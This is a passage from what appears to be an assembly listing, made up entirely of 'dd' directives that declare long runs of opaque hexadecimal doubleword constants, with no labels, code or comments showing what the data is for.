64B83667h dd 0C383631h, 0DFA8BC66h, 1433E133h, 4710A11Ch, 82A2F9Dh dd 21923FA4h, 0F327293Ch, 585A67DEh, 0DB3E7061h, 3E47DB0Dh dd 3335C954h, 0B6763542h, 0F6394F1Dh, 0A93420E8h, 0FD30A5FBh dd 2A30AA52h, 0C67B7B43h, 5A341144h, 3AD13CF1h, 0F9B2672Fh dd 5DBE37FBh, 3ADD4001h, 213F2F81h, 0B640D4Ch, 823D9B2h dd 7C02441Eh, 3A8F012Eh, 6943032h, 22ABDFEDh, 7D3D329Ch dd 5C1F09EDh, 94B7F612h, 570323A4h, 0C0290620h, 0C2A9ABEh dd 102A3D6Fh, 9903DA3Ch, 0AC881634h, 1C38A709h, 0B9973A31h dd 573E1933h, 21D2C92Bh, 2308A052h, 0C3022338h, 3F2F9A6Ah dd 3A223440h, 9BF521DCh, 3F56D13Bh, 0BF388CADh, 1CBD2C1Fh dd 22326DBh, 0CEE6B02Ch, 0AE2CD836h, 525968F0h, 16BD34EAh dd 3731F52Fh, 3E8869B1h, 3F2233DBh, 563D63D7h, 29018B3Ch dd 3176EBA9h, 93C02323h, 7D09BBBDh, 4280228Ch, 552C3052h dd 1D980312h, 3C3C3F52h, 0E3481A5Fh, 20EF95CAh, 0A02CD4A4h dd 552426A7h, 39D43D39h, 0D2BAE69h, 34731502h, 523D4237h dd 0D74C9933h, 99DFBEBh, 5D921A5Dh, 33E87727h, 76642F6Ah dd 185E236Bh, 26C73751h, 3AD7683Dh, 0DFA3594h, 1E603ECh dd 0D39C07D8h, 24E1BCBBh, 3681801Bh, 2A78483h, 111D6E87h dd 0AE691717h, 12653A79h, 61755092h, 1890343h, 0EA06F093h dd 0DD18BADFh, 9EC03FBEh, 85246788h, 0B970C746h, 0ADECB62Ah dd 0DD4AFB5h, 98D62B74h, 3A27389Ah, 2944BE30h, 1D1B1242h dd 764A4D57h, 0FF107521h, 0C514D916h, 23EB2AACh, 302E0BA9h dd 473B933h, 0BC38C0B0h, 0BF397A22h, 14C0C03Dh, 1C1ED398h dd 0E15C03A1h, 22A32A04h dd 0C37C2C28h, 532C9426h, 32BA903Dh, 392CB308h, 9B71C2D0h dd 9F2A5D33h, 0E696069Fh, 21052C1Ah, 30442823h, 0A12A28B9h dd 0E4242064h, 3220BB27h, 0DE0FBF3Ah, 337831BDh, 28D96BD3h dd 6509E430h, 0E028BF91h, 0A403221Ah, 0FD404334h, 0C5648368h dd 102C2C5Fh, 4128A309h, 294D28D6h, 0FE3DB235h, 1DDC10AFh dd 0A31B281Dh, 289D25h, 2B574685h, 252DA13Eh, 0FE2E7Dh dd 48E1B739h, 0C2B4B63Ch, 0B53F453Bh, 703C6A6Ch, 1CF31AB3h dd 2D21C334h, 0FF2626C7h, 0A22E2161h, 0FC149C16h, 1809330Ah dd 580D610Fh, 0B301B903h, 0A605AF07h, 0B426BC20h, 0FD1AE424h dd 8193218h, 3715611Bh, 7A106816h, 0B20C5012h, 8008850Eh dd 3C04DF0Ah, 16032A05h, 0CE227B01h, 251EEC20h, 0F11BB01Dh dd 2917C819h, 820A2F0Bh, 7572F4B4h, 77AB1536h, 0AB733335h dd 6F3B383Bh, 1F99BD90h, 69C441Dh, 0CE20A053h, 2C2F25A6h dd 2FA948C1h, 322F2F35h, 3130F380h, 3BF764DDh, 7247147Ah dd 36A26D13h, 0B5462C8Ch, 217310B3h, 2B822D5Fh, 3E2ED618h dd 0AA50AD18h, 7B73EF0h, 672AB5F5h, 73523D52h, 0EBFA738h dd 27998881h, 2126A44Dh, 0A6274E05h, 2AFE3A66h, 2B7B7F7Fh dd 0CF45E27Bh, 3066CB17h, 323888FFh, 0EF005AB1h, 98132CBFh dd 3C4D1F9Dh, 0E33E97A0h, 83194917h, 181FD81Bh, 0A2045C1Ah dd 0D6009706h, 0BA0D7B02h, 0FE09A40Fh, 32C3B08h, 0B1286B2Ah dd 69149D16h, 771F751Dh, 40134E11h, 49175C15h, 0B30B4D09h dd 0AE0FBA0Dh, 2703CB01h, 0D8061904h, 0EB27FE25h, 0BD18A219h dd 46550525h, 0D0299D08h, 2F5D9877h, 0D83245C3h, 35943544h dd 91389F86h, 0EF3F99E4h, 6AD51C6Fh, 2084E01Fh, 2483B789h dd 8F288C8Ah, 5AB02C5Fh, 97A49A2Fh, 34935C31h, 40389CB5h dd 4CB73C4Fh, 6F761B4Bh, 43C9C31Eh, 36044049h, 42AC4CB9h dd 0B29C8096h, 0AE5BB045h, 9F5FA459h, 0A6430B57h, 0E357B951h dd 77846B7Fh, 4B837582h, 1FA2B1ACh, 9EA84DA5h, 906541A3h dd 499945AEh, 5FB230F1h, 0B834F744h, 3CDA5352h, 5F661E50h dd 7496D5BDh, 0D70E0320h, 75CE2F24h, 29C929DAh, 262EDE7Dh dd 33C073D8h, 3F36C1AEh, 0C908D12Ch, 3FCA6C3Ch, 5B3FF41Ch dd 0D62920EDh, 34CD2223h, 7B9628D5h, 0C628AB9Fh, 4431C22Dh dd 223134C7h, 698BCADFh, 3D3DC816h, 0EFCDF9D7h, 2657D825h dd 0CD08EDA9h, 494C4785h, 599DE32Ah, 6EF0972Ah, 3530F16Ch dd 3666D337h, 79B73B65h, 974D3B1Ah, 0C8074EECh, 0B2235FCCh dd 0A9C12545h, 5D4CCD6h, 712C202Eh, 0CB50F735h, 3E36C434h dd 0C53AC531h, 9E3B6F3Ch, 36FC1DA8h, 0E22DB8Eh, 0DDB8CD60h dd 0A5C21F28h, 0DFBABC8Dh, 3032ED14h, 1D271FB4h, 643B3098h dd 0BA25ABE5h, 5E14EC57h, 4313805h, 66207BA2h, 0C293433h dd 2BAD68A6h, 0D2F0C874h, 9136731h, 3539377Bh, 0C13D333Bh dd 77080955h, 2F200F0Eh, 4F1899B0h, 0C178AF31h, 0AE1CCBF3h dd 0AC8217EAh, 331497BCh, 68A84E86h, 0CE3AD36Ah, 825F5C3Dh dd 3FF71F8Ch, 0D16D811Ah, 42673221h, 4624403Ah, 3C608E25h dd 5EAD2370h, 0B4DF6731h, 0ED0F3EEBh, 0BED624BFh, 4D8A115Eh dd 721F2E3Fh, 2634DF24h, 6B1E8C0Ch, 8E01CD25h, 6053AA30h dd 77C44BB6h, 3B6B72E9h, 86B6FA0h, 8C0B6D8Eh, 633CA10Dh dd 4851C68h, 212BE109h, 2F4C7E75h, 5F5332A6h, 4927BE12h dd 2137FC6h, 9A56BE28h, 1E3D191Fh, 0F93A7C9Ch, 64B0CB72h dd 6443A522h, 46AE3FC8h, 23B046D8h, 351A58B3h, 6653A8B3h dd 1957A52Ch, 778B84BDh, 4B95AF69h, 0AD9E9A49h, 2E05744Eh dd 47B441B6h, 71E345A4h, 5FB9DFBCh, 0B614D66Bh, 197A2E3Eh dd 0F6FFF16h, 0E7E4A4Dh, 0E42A60ECh, 7EE87B7Bh, 28C50B1Bh dd 452226FCh, 370621F0h, 6D96E882h, 94632D58h, 882789ADh dd 2E0705A6h, 6371055Dh, 2A211406h, 5F7D2C27h, 66281C3Eh dd 2C429A9h, 511DD7Ah, 23D11B6Dh, 6E1722B9h, 913005BDh dd 3FA05F00h, 1246FA9h, 76EEAC16h, 2D777674h, 313DA64Ah dd 19F0B036h, 38A8F4C2h, 3D43F73Ah, 1C243F01h, 145E1E22h dd 0D5A87421h, 4FE71ECDh, 86F2ADFh, 395B2F25h, 5933DA67h dd 0B8850781h, 860A857Bh, 3D7E530Ch, 0E02FA2EBh, 0F1139222h dd 16992EC4h, 0DAC2A27h, 0CD1CCCDAh, 62AA17B8h, 3810BA18h dd 751CB33Ch, 303D625Fh, 0EFD10C18h, 0CAB8D148h, 2B7414A1h dd 0F4C17FDFh, 6F37DE9Dh, 62FFEA4Eh, 364415B5h, 0AE3A3825h dd 3E2E3C4Ah, 6CBE18BBh, 22200B1Eh, 35245292h, 972B2733h dd 2D3A2B5Bh, 40FC6D2Dh, 36342432h, 213846ECh, 0D53F3B32h dd 1C023F4Fh, 515EE81Eh, 27233821h, 28575B21h, 2F2B2232h dd 2C2F5F3Fh, 0E40AFE08h, 380EEE0Ch, 5DB03E5h, 22D307D5h dd 0E727ED1Ch, 231BDD19h, 2F1C2525h, 3B102512h, 152E3516h dd 9120B2Ch, 371A0F1Ch, 5B3B3902h, 333F3D38h, 0EE1E1C5Bh dd 0CDE2023h, 0A93D1320h, 0C031A63Fh, 36A267F9h, 10322F1Ch dd 0B9349C39h, 0D221B72Fh, 2FFFFBFAh, 183303B0h, 0C1A9F74Eh dd 0DA3CAC7Ch, 2D373FA9h, 2B333B45h, 215F3F41h, 64F62353h dd 26285801h, 3D2C5839h, 0C642F41h, 6DF1F64Ch, 0E2CB325Eh dd 0EC4D25E7h, 9AC3222Ah, 0C2CEC68h, 0DC3433D5h, 3636D493h dd 3A3ADE28h, 1ADDA8D5h, 4E1D1DFCh, 0CB2720E1h, 9527E7A2h dd 3F2E28EBh, 2EEC5BC4h, 3033F2B4h, 0F6BF53DCh, 0BA6C7739h dd 66D63F3Dh, 235F1D99h, 2273219Eh, 0A500D502h, 9AE2BC1Ah dd 1E21592Bh, 361544D0h, 3715F043h, 520DFB6Eh, 563C0CBFh dd 0B6BC1ABDh, 0C16B0FF6h, 0E6338328h, 0E2C02507h, 2DDB21CAh dd 68F034F6h, 0F67CEBC5h, 8B1DC892h, 6FFC1E23h, 1C49833Eh dd 2F38A697h, 2B232D3Ah, 0A8EBEA25h, 2D57C223h, 74D921EDh dd 40323A15h, 0D061C63Ch, 67B83B94h, 5BBC2E1Dh, 0EEC61E03h dd 2B3239C8h, 385B2632h, 772A222Bh, 292E32C5h, 20CB147Fh dd 0B425CEFCh, 9A22D53Ch, 0B469CC97h, 1E1C485Dh, 56F3A40Bh dd 269AF1Fh, 7EA22027h, 2E47280Fh, 6060302Eh, 0BA20CB63h dd 3B3B3AEBh, 0BB311A3Bh, 941E6FF6h, 79211E1Ch, 51E4A62Bh dd 28289723h, 2C2C27E8h, 30743AD1h, 6092D32h, 363A3711h dd 3CFC51AEh, 0B0640D2Fh, 17AB290Dh, 0E80A929Dh, 1F07F212h dd 1BDB1DF5h, 8030798h, 80B06B1h, 740F720Dh, 0B09B1005h dd 8707AA05h, 0A0B2640Ch, 998260Ah, 0D550F5Bh, 12E610ECh dd 0F317E9F8h, 0ADEB490h, 481C4A3Ch, 11457E12h, 3B2F1743h dd 9B0C615Ah, 8DC9220Eh, 0AB753923h, 7A258864h, 0ECD139D4h dd 39B13C0Bh, 22B074B9h, 0B9357802h, 0D7C38FEh, 9D329BACh dd 21DF1D1Ah, 0A53ACB22h, 6CA33F23h, 0AC2A6B2Eh, 0CECE0D15h dd 0FC07CC32h, 663C74BCh, 3D2C3B64h, 1C13B53Fh, 0AB119615h dd 18CBEC21h, 0A1D8DBD2h, 0EB2FEA6Fh, 342F266Bh, 7038EE31h dd 0BB773B34h, 78B636D5h, 1ABD3E19h, 0F74E591Ch, 23DFD9FDh dd 73AB6583h, 797B210Ch, 2ED7652Dh, 32323F30h, 271279B9h dd 513E2B68h, 7F1B657Ch, 1ADF7031h, 2A3028DFh, 0E7743CE0h dd 0EAC5AB20h, 0E025AA23h, 3D78F128h, 6E743BE0h, 3BCFD053h dd 3C63FA69h, 4B10021Eh, 0C911942Eh, 251FE33Eh, 2FA12F28h dd 751A2D1Ah, 35147B36h, 633432B9h, 2339FE05h, 9CE3395Bh dd 1A3A223Dh, 259E57BCh, 24A33245h, 28A735ABh, 0AC300044h dd 3D6E022Dh, 353A722Fh dd 38B693F6h, 703BBBEEh, 113FBE23h, 0AB3419FDh, 0C28621A1h dd 32473720h, 6BAA3F3Bh, 2F91252Ch, 23B3C434h, 6FDE411Eh dd 0F5B13438h, 0C0CC723Dh, 57F51C1Bh, 0E6212E1Eh, 9C08E629h dd 0C27AA826h, 0D1D3D269h, 163174D9h, 3F41353Bh, 0BAF4D061h dd 3F3D3E77h, 1D18DFBCh, 25E26F93h, 0DAB2222h, 51285527h dd 552D68CAh, 0DDB3592Dh, 37346002h, 263828FAh, 223C243Ah dd 0E31B203Eh, 20001E02h, 242C223Eh, 2828262Ah, 2C242A26h dd 3F2F21D2h, 3B333D31h, 37373935h, 333B3539h, 1B30C13Dh dd 1F111D13h, 232D212Fh, 2729252Bh, 24D52927h, 202E222Ch dd 73273E30h, 767117Eh, 7ED7AA2Eh, 8323B6Fh, 0CC2EF80Dh dd 0DAE3362Eh, 159DCC71h, 173F1720h, 213C833Dh, 323E972Fh dd 4E2F343Ch, 29496F61h, 3A4A5D40h, 6A3C6E4Bh, 7F7F196Bh dd 7EE44B11h, 4863F2E5h, 0AB3D3B39h, 481977Dh, 0F3068Eh dd 0CC0D37F8h, 1A0A350Fh, 2A1BB908h, 1683288Ch, 24921482h dd 0EA119A13h, 0C21DFF1Fh, 70E182Dh, 36B050Ch, 8B0036AFh dd 730CD80Eh, 233F5B05h, 260E2562h, 22781819h, 1E9E6444h dd 12F810EDh, 2E0D2D23h, 1F1B7007h, 1E7A0CDCh, 799FAAB6h dd 0B7BE8515h, 37965CF3h, 1722A0B1h, 0A63103A2h, 79292738h dd 0A6909B2h, 215B4807h, 36F176F2h, 28D11522h, 0FA713DF3h dd 333A9F6Bh, 0C908D795h, 22EBBC7h, 0A70F2675h, 0CD2B2089h dd 0F4C71739h, 6F331208h, 0C93F13DEh, 3C5C3F1Fh, 0C1F1A46h dd 229B8E4Bh, 0A18B38E1h, 2AA71627h, 0AC13442Ch, 35614D2Dh dd 35327A30h, 13673DF5h, 1FFB3AD8h, 7B3C3B65h, 1F3A1599h dd 0DB2A22F8h, 2FA73381h, 3B4368B0h, 372EAD7Dh, 2759D025h dd 572A5ED7h, 2EC51938h, 397E1176h, 0C1C5C7Dh, 76958294h dd 4C350003h, 0E5087A37h, 6F283C3Fh, 31F118E6h, 2841F4B6h dd 9AB772BCh, 595E6D38h, 93C4061h, 32D43E36h, 0B3AFE016h dd 3CD741B6h, 0A439390Ah, 44DC1768h, 0A163633Fh, 2C18F776h dd 3A931DBAh, 8F1B31B9h, 15326A30h, 4467757Dh, 29D9A622h dd 6AA0345Dh, 0C22EBC25h, 0F3321092h, 3BAB8673h, 0EA3E4B14h dd 1A3A110Dh, 1F1113B3h, 0DA752123h, 503C7122h, 2BAA759Ah dd 5DEC8BEEh, 91FA7DE2h, 0CB51118h, 5D743969h, 2DC73D6Dh dd 7A1D4D52h, 0DD2211E4h, 3C27C4B2h, 2A697375h, 389C8CCEh dd 0D934A125h, 402A7616h, 0B95834A5h, 54913D5Bh, 0E7B49AAh dd 0B3721EDFh, 7863E6Ch, 6E36722Ch, 9C458DC2h, 8F3A0709h dd 467D37BFh, 0C9C534EEh, 3DDCDA33h, 5494763Ah, 2A6E1462h dd 6CE52B85h, 61253851h, 5DC7C279h, 18662622h, 4F3ADA78h dd 5D16413Fh, 4E58FD87h, 51763B09h, 5F1FDCF4h, 63492B58h dd 484297A7h, 0B4F47B4h, 0CD2CCCE2h, 0D251119Ah, 25D76E33h dd 58499FBBh, 4A3BBC3Fh, 6E790EDBh, 4D42456Ch, 3745FF63h dd 0AF2821C6h, 4E492F4Eh, 505A592Ch, 6E36F41Ch, 1331381Eh dd 5D729C3Dh, 251A0CFBh, 0EA997B6Bh, 2862B5A6h, 0C2159AFh dd 0A98A22A9h, 0B14EA627h, 396B223Bh, 9BCF468h, 686F0A34h dd 971B6868h, 0AB0B3A61h, 24DCA7D0h, 0E1A47A51h, 0DEEB19D6h dd 0AF802Fh, 0B17AE3C6h, 0D13DBDF5h, 0B8601FB8h, 1962B318h dd 0F4E6394Fh, 0A5119722h, 70009D31h, 35AAAFE8h, 6230AE74h dd 336164D1h, 9C28BD27h, 1B1F6969h, 52389E69h, 0DE1B1AB8h dd 248A3C1Bh, 208D2F57h, 0EAC00D61h, 0A1A07C58h, 3131A4ADh dd 363232D0h, 0D067DA32h, 0DE078A3Dh, 26443E39h, 1D3724A7h dd 0ED241F77h, 4F152B1Ah, 25114617h, 0C1531283h, 480B4402h dd 69A1F09h, 0ED316BE6h, 1F1B9BEEh, 0E2F3D1Dh, 45136111h dd 185D2615h, 1CE91A9Eh, 0BB2F1F6Eh, 2E02E100h, 38055207h dd 0F30093Dh, 143F0D2Dh, 751E141Ch, 2EE2399h, 43D94F24h dd 2B2E2989h, 6C9BB444h, 8B623030h, 37408134h, 1EB35D3Ah dd 0D73A3D3Ch, 1E1C21EAh, 7761731Eh, 291AF75h, 0A10128F7h dd 0A77AF52Bh, 0BF251473h, 0BB4B344Dh, 0A73530BCh, 5FF73D3Bh dd 9D961E01h, 29303B1Eh, 0C31F21A3h, 4DAE2CA7h, 1C2C8A03h dd 7D320EC3h, 16732FB0h, 0CB20D67Fh, 303D5A77h, 0B41EFF93h dd 0E31ADC34h, 0EA21231Eh, 757E11C7h, 0F82B8B60h, 0FF2F8F5Dh dd 5E339368h, 38965BA7h, 49FB0E1Ch, 16390C37h, 8DF9397h dd 766AC20h, 0CF777528h, 2AEBE142h, 2029ED2Ch, 7435B7A5h dd 0A106C6FEh, 0B50220F0h, 303424FDh, 87C0719h, 2234C27Ch dd 77773034h, 3C473E58h, 58ED2A9Dh, 4673AF39h, 0BD623C17h dd 663DC127h, 0F6392D4Eh, 26A193Dh, 30519E1Ah, 2709DB26h dd 2D377124h, 6CDA2F3Ah, 5C2C077Ah, 3A023133h, 503A3734h dd 28B8622Ah, 18DBB46Dh, 85570B99h, 19CA6121h, 70AF2680h dd 2C8E18C0h, 0B108C740h, 466B4036h, 38C9E930h, 3C1B3B39h dd 4E194B3Fh, 9F0933F4h, 6114E119h, 4AA770E9h, 797A7E7Eh dd 6FBEAEC4h, 3A77C13Ch, 0C105B55Eh, 360D3DFEh, 7933757Ah dd 0BF5D9EFFh, 67AA6719h, 62752280h, 2C8378CFh, 0AFDB1F7Ch dd 0B8397621h, 6C013F37h, 0B8366437h, 0C1C05C11h, 1C3190C0h dd 3D801FCEh, 3C4C7362h, 2B2A2626h, 0ED0843B2h, 59102F75h dd 0F2C43330h, 91C2772h, 383C3F3Ah, 741BBF12h, 0A0CAE11Eh dd 59263E0Eh, 19762925h, 5043512Dh, 32372E47h, 0D8B03D56h dd 68733725h, 3C1F76B4h, 2CCB5631h, 4E1F1D58h, 0DC6F2561h dd 25FDD531h, 2B26EA28h, 270A79A1h, 0FDB9EA03h, 68326726h dd 643340E6h, 382EF9BFh, 1E107E03h, 1176151Fh, 2463AFDCh dd 111B2C2Eh, 7E2458ECh, 8A5134C7h, 3671397Bh, 1BD039B7h dd 0F2C2C386h, 1D5D1B2Ah, 25E19CDEh, 53271BCBh, 1BE937A5h dd 392906C3h, 9A12C64Eh, 89359137h, 3F843E22h, 3FA4873Bh dd 0A0DA9B82h, 44C7A202h, 26CB0C21h, 23B4B00Bh, 940B2E07h dd 0D1660E2Ch, 10AB5A30h, 0DA3ABD34h, 0DE024639h, 0BA1F9D03h dd 6E1F2DBDh, 62068222h, 0EEA32564h, 0AA12AD27h, 8E6F3828h dd 3CE0B431h, 37E61FB0h, 34FA69BDh, 761F1FB8h, 9A799C4Fh dd 8215040Bh, 42A67623h, 0BFF8D777h, 0A592DEAh, 730AD827h dd 8B77AA1h, 3A2D4737h, 0FC55D43Fh, 94D85AA2h, 3BC81E0Ah dd 31B5EB87h, 4FC02536h, 39B5E398h, 7CB6C72Dh, 94F08170h dd 0F0D03322h, 292C92F3h, 0D59AD73Bh, 0C8190AACh, 8DE180A7h dd 2F339C20h, 44679BC1h, 0B6CD80E1h, 95BFB93Bh, 6B173496h dd 0C49ED268h, 13FB9F1Dh, 201D7523h, 0BA223E1Fh, 0B6625736h dd 23A17E38h, 5F360990h, 46C4B430h, 0C8B53504h, 0B83F4D3Ch dd 4A7E3EC3h, 3A99973Dh, 4A20603Fh, 0F67004DFh, 0CA231B2Dh dd 0E5122A09h, 6529130Dh, 3A1140BAh, 0BAE7D033h, 3A73B129h dd 7BB677D7h, 61121FFFh, 30643B37h, 6D29857Ah, 2C8CED4Ah dd 0B07FC72Fh, 0BB3C8D33h, 24183436h, 0F2B76B31h, 199FFFh dd 4AFCF61Fh, 25423F61h, 4FCF664Ch, 0D4A02C28h, 0CFAA292Dh dd 4005B230h, 0BFCBD1Eh, 0ED3BB1F9h, 0DA2E50B4h, 1FED1FF5h dd 0A0E8AA8Bh, 8DD526C5h, 3A6CA208h, 52E61A7h, 63B23866h dd 22C96765h, 0BE38E3C4h, 62606244h, 5708B412h, 31211D4Fh dd 2365242Bh, 28692453h, 0BF38346Ah, 2B01BE25h, 36852550h dd 4A1C2D36h, 3E8E4F39h, 11D7A3Dh, 7E207D73h, 7A565641h dd 2950464Bh, 2FB0292Ah, 43424A5Eh, 24B45CE8h, 8D3EE68Ah dd 3F5CF33Ah, 72393F9Eh dd 22AD3B9Dh, 5122F752h, 6EBFAD29h, 132B6A2Dh, 14901B2Fh dd 35B2B331h, 2879BB3Dh, 3C76D268h, 633F3FB8h, 0E08A69DCh dd 33F84535h, 1FAD2426h, 9375322Ah, 2C2E4D3Ah, 38A2F26Eh dd 0BC362AF3h, 3A1E7D3Ch, 3FB52F70h, 0E19D761Ah, 133A2894h dd 8AE61E0Fh, 76B2D53h, 0E6952EBBh, 30019C03h, 62260696h dd 114C3637h, 0AE6831FFh, 10D94E2Dh, 34334E54h, 0E0762EE1h dd 9BF792Bh, 7921EB1Eh, 33D1056Ch, 21AE2F93h, 3B2A0874h dd 315FD22Ah, 909722C9h, 6FEFC239h, 0B46C5A61h, 0C869DE70h dd 2C3B6459h, 7D5F6E08h, 78C37741h, 0E87B4695h, 9FDAD602h dd 2B035221h, 3B8B6AB8h, 0B4E45184h, 1B7AD900h, 840EB638h dd 1762E35Bh, 265A47D0h, 0D7AE4354h, 1E6AF14Dh, 6E2A03C4h dd 67DA2FBh, 230418F5h, 2C099177h, 525929A6h, 46A72DAEh dd 73C31C9Bh, 56116005h, 46633942h, 4FE710AFh, 6D8E9A3Eh dd 5BC9082Ch, 350E9EECh, 2927B5A9h, 21B82B25h, 1FAD9936h dd 312A0324h, 396822B5h, 2B371B32h, 0CF21FF33h, 0E99B0068h dd 0AE355621h, 76AD2775h, 2FE92B28h, 32EFAD23h, 3431F4B2h dd 0E442FFB1h, 39D0FA0Ah, 98FF259Dh, 85EE2C4h, 314217Dh dd 62AE2F25h, 3B0DE929h, 7166AD73h, 1776B86Dh, 0DF7FB630h dd 3B261D7Ch, 0BD2BFB71h, 0BE63BC00h, 0B273EB1Fh, 0F9532463h dd 48482867h, 0E1E7E039h, 0E3C6329Eh, 0B4E4C609h, 9E700932h dd 3D8C5B43h, 1C1D351Ch, 75408EB0h, 2585E9ABh, 264F0522h dd 0BF461988h, 44309E61h, 5535F3B3h, 0AB15F56Eh, 0F3316A39h dd 1CDCFE35h, 0C02F0A1Ch, 0E1222262h, 7E2F6B31h, 0C4DAAAA2h dd 0CFD05C64h, 7461F2C7h, 6E3E4234h, 1D3F37D1h, 45F93AB6h dd 944B938Fh, 2BDD4BCCh, 27ACD54Ch, 2B8B4D3Dh, 4B7E2D28h dd 373214B9h, 613E6665h, 0E33AFE6Fh, 4BFEB8C3h, 1EE24A0Dh dd 20FDA80Ah, 7B7B7B22h, 71E91A27h, 2601E8AAh, 0F033302Fh dd 0BD343437h, 3A38B40Ah, 3F3D566Fh, 4D741955h, 21644C1Eh dd 0F2DB7523h, 0D6C27ABh, 960A63Ah, 30317F1Eh, 6435331Eh dd 0DBB9365Ch, 0AE6D3B7Ah, 30B3D7Fh, 3F0F22C9h, 0CE77772h dd 18156861h, 286AA0A7h, 6043939Dh, 81776BBh, 48053645h dd 0FC2A0A3Ah, 1955141Fh, 752A2F1Ch, 8A20C24h, 71E85BCh dd 698A6029h, 9F2B7D7Fh, 2F10CD33h, 69166B38h, 0FAB13BB1h dd 3782FC3Dh, 6E942C92h, 9E06A91Bh, 1422CB68h, 5A7F2CABh dd 0AA59E53Ch, 0AD30BB39h, 7BC6423h, 648728DFh, 35E290C9h dd 9FBC78B4h, 802FBDCCh, 21845E25h, 8CCF621h, 0D248D94Eh dd 13342029h, 6A06B868h, 38B83F90h, 593E1B74h, 725E9E3Bh dd 772D510Eh, 0A52E2321h, 49642756h, 404E4947h, 32BF2F87h dd 761627Ch, 0CF373A33h, 0EC79CC57h, 1F1A1A0Ah, 0D4A132Fh dd 394220C3h, 264C2002h, 787A38D9h, 6B0021CCh, 32467D7Ch dd 1C374107h, 4F19384Ch, 0CB25973Dh, 1EE90F1Bh, 2121D414h dd 0DD6124D7h, 0BE29597Ah, 2E5FDFC2h, 0D9D8A4F3h, 46D63447h dd 0E8818037h, 8DA62037h, 1D1317E0h, 25655EA1h, 1B943272h dd 0E935CF77h, 25E8A804h, 6116ECFEh, 5534C363h, 6F793637h dd 6FF2B03Eh, 0CC1A33D6h, 0A9DF2D02h, 62AA2667h, 63792EF9h dd 62204562h, 36FF2A27h, 0BE213841h, 36BF0614h, 0B64C3FA9h dd 0DBC0BCC3h, 1758DA18h, 40022520h, 6E22E7F8h, 3210623h dd 0AC4F9C27h, 0DB646337h, 114E75EBh, 8B862D3Dh, 803B1A3Dh dd 0AE1D0337h, 8D613C2Dh, 26DA9D23h, 7FE91B24h, 4E7A2E7Dh dd 99C2199Dh, 0B69F9F55h, 39391B8Eh, 0BF77AC85h, 396093B1h dd 980BBE36h, 24845643h, 47C0830Eh, 0F9E82CAh, 14F1275Ch dd 16D2EBB8h, 0C70B374Fh, 49E7BFC5h, 0FA1F9F77h, 0A4109E65h dd 4C2C56E1h, 2906A207h, 8CA6EA90h, 0E151C62Dh, 1B937A51h dd 6734734Ch, 3F7F3B18h, 3DF5F2Bh, 9F6E1C58h, 0E5234B56h dd 87B220A0h, 76A22B7Dh, 0E92F2D2Ch, 322A1574h, 0BC7B354Ah dd 4FC102C5h, 633E057Bh, 5F69043Fh, 2B4CF1F7h, 1E510222h dd 793975A7h, 79252D41h, 3A32F5C7h, 1869BC8Ah, 3DB33937h dd 36493607h, 69113303h, 290D1F1Ah, 0ADDB2BA2h, 2628A725h dd 222C242Ah, 313FD02Eh, 353B333Dh, 39373739h, 3D333B35h dd 0A6963F31h, 4B6ED1D9h, 0C8A0E696h, 392F665h, 0AD2B1458h dd 89CAE25h, 0F4002EE1h, 3C363674h, 301F7EB0h, 52331BADh dd 4E0E1D6Ch, 713A2160h, 25D52564h, 2B268638h, 2D98B02Ch dd 0BE3233FCh, 19DF2979h, 0C4C6B94Fh, 0D63A70B1h, 1E251C3Dh dd 0CBCD6D94h, 0D9D95E53h, 2AC99027h, 2F2D682Ah, 0FEE700C6h dd 9236CBCCh, 77B23832h, 0C0D4CC6Bh, 3D981B49h, 2A965F1Ch dd 900632Ch, 951DAC2Eh, 16347208h, 37F85AEDh, 2144E5CDh dd 3CB80E22h, 2D563B8Eh, 0A8173F8Eh, 22FF121Dh, 34212070h dd 54ACF0DAh, 87F2AF9h, 0D0EEA63Dh, 10263239h, 38B7F136h dd 0CDF93935h, 453FBC34h, 211A9443h, 0AE7200EDh, 4F3A0168h dd 954B283Ch, 0A4F9D27Dh, 76061584h, 171209C7h, 81D26B8Bh dd 0B426568Eh, 1A043F1Bh, 3E04304Ch, 8143C4Bh, 0FDD67837h dd 6293C7Dh, 63790245h, 34F0BADBh, 3E390343h, 3C7DAD2Bh dd 3D4C492Bh, 0E14B77A5h, 5A099305h, 791E80C6h, 1D22AB2Dh dd 91AF6FB5h, 284462Ch, 0F4B3AD56h, 51267A5Ah, 4C98414Eh dd 0C1A1E21h, 2434DAAAh, 58473624h, 3E5BE26Bh, 1C20D1A8h dd 310300B5h, 19403295h, 7474B73Ch, 9A51D623h, 9CDB751Ch dd 0D021A1C1h, 0A2E07A80h, 3B2F0923h, 0EBAF7072h, 37F023F1h dd 8373334h, 6D3A3522h, 0EFD6CCB7h, 0E1E3620Bh, 237CE0E9h dd 70052D57h, 2BEFD5CFh, 2AE9182Bh, 30649088h, 0BC3F1A39h dd 0FD2F79B6h, 0BA3D23B8h, 122B6EFFh, 0C13A4A1Dh, 0EDC1CB29h dd 0ADD7DA66h, 9C295EEAh, 0BA10EC27h, 3BBF3774h, 728C2C34h dd 2927389Bh, 0FEC2C5D6h, 7ABEC811h, 5526D2E2h, 0A131AF23h dd 0A427CE6Fh, 2270B939h, 3323382Eh, 34267665h, 183E2A68h dd 17C0F2FAh, 1B2EED09h, 9FAF26F5h, 2144D500h, 0D82675D9h dd 2F2F1D87h, 87288E33h, 66973DD6h, 233C0931h, 1B3AA9B1h dd 4F1F0CFFh, 0A92420D8h, 742D621Bh, 39C934F6h, 0FDD22C1Bh dd 47F1B52Fh, 0CA63BF0Fh, 1E8570BCh, 0A0331CCFh, 19385F3Fh dd 0B601F74Eh, 0D3DB23DCh, 69E83CFEh, 2D202FE8h, 2068282Fh dd 3DD8B002h, 1D7C3FBBh, 6D5B3B2Eh, 1C3F73B3h, 0AD15F605h dd 0E4A7DDDFh, 28655221h, 2C412E25h, 30BE7F2Ch, 11DB2E36h dd 28BC9735h, 3F3B1D39h, 5BD2BA32h, 47DD1D08h, 0A0727C7Bh dd 142671C8h, 0A6D6A2E8h, 2FA56D64h, 8398C2E7h, 65619E70h dd 516B6838h, 6E3F5714h, 4D481C4Ah, 0E6A2F6E0h, 0E605A177h dd 5A1A28E4h, 2A2DBA4Bh, 41146BEFh, 1676146Eh, 295F9AFh dd 6CA04F7h, 90255B3Fh, 7819E327h, 1F9A2318h, 12641C38h dd 0A1041046h, 0A3319815h, 49FA731Eh, 5A1370Ah, 1D007FDh dd 55990216h, 1DFE68DDh, 65991D0Fh, 98243260h, 2C532049h dd 9F1E56h, 7D022131h, 4D31BF04h, 3127852Ah, 0E4BA2E1Fh dd 17951368h, 0E3066DABh, 0E7157A28h, 